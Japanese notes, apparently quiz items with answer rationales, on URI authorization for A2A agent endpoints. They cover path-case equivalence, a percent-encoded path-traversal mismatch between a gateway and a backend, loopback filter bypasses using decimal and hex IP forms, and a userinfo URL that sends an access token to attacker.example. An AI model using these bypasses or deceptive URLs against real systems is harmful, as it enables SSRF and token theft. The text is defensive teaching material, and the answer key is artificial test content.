範囲: RFC 3986はURIのgeneric syntax, reference resolution, comparison methodを定義します. security profileは, authorizationで受理するURI formと有効なequivalence ruleを別途定義する必要があります.
A2A endpointは/tasks/の後ろに1つのtask identifierを置きます. identifierは3文字の値a/bで, slashはpath-segment delimiterではなくdataです. producerとbackendで1つのURI表現へ合意する必要があります.
signed grantはHTTPS://EXAMPLE.COM/tasks/Aを示し, request targetはhttps://example.com/tasks/aです. profileはRFC 3986のgeneric normalizationだけを採用し, pathの大小文字を同一視する規則を定義していません.
/tasks/Aと/tasks/aは異なるidentifierです.
C: pathの小文字化はRFCにもprofileにもないequivalenceを作ります.
D: ある時点で同じcontentでもauthorization identifierの同一性は証明されません.
署名済みgrantのtarget URIと受信requestのtargetを比較します. schemeやhostの大小文字だけでなく, pathの大小文字や別host名などのaliasも入力され得ます.
gatewayはpercent-decode前のraw pathをauthorizeします. backendは後から%2Fと%2eをdecodeし, dot-segmentを除去してstorageへ対応付けます. attackerはgatewayには許可されたtask, backendにはadministrative pathと解釈されるencoded pathを送ります.
Agent fetcherは127.で始まるURI hostをblockし, 他の文字列をplatform resolverへ渡します. resolverは2130706433と0x7f000001をloopbackとして受理します. profileはlocal destinationを拒否する方針です.
profileはaccess tokenがbrowser history, proxy log, application logへ露出することをsuccessful attackとします. clientはhttps://trusted.example@attacker.example/card?access_token=SECRETを渡され, UIは@より前を強調し, fetcherはgeneric URI parsingを行い, loggerは完全なURIを保存します.
@の後ろで, 前の文字列はuserinfoです.
B: 選択. generic parsingではattacker.exampleへrequestを送ります.
C: 選択. logging前にdisplay deceptionとprofile-defined disclosure attackの両方を止めます.
D: 非選択. あるhostの認証はuserinfo文字列へのauthorityを示しません.
E: 非選択. RFCはuserinfo syntaxを認めつつriskを警告し, cleartext passwordをdeprecatedとしています.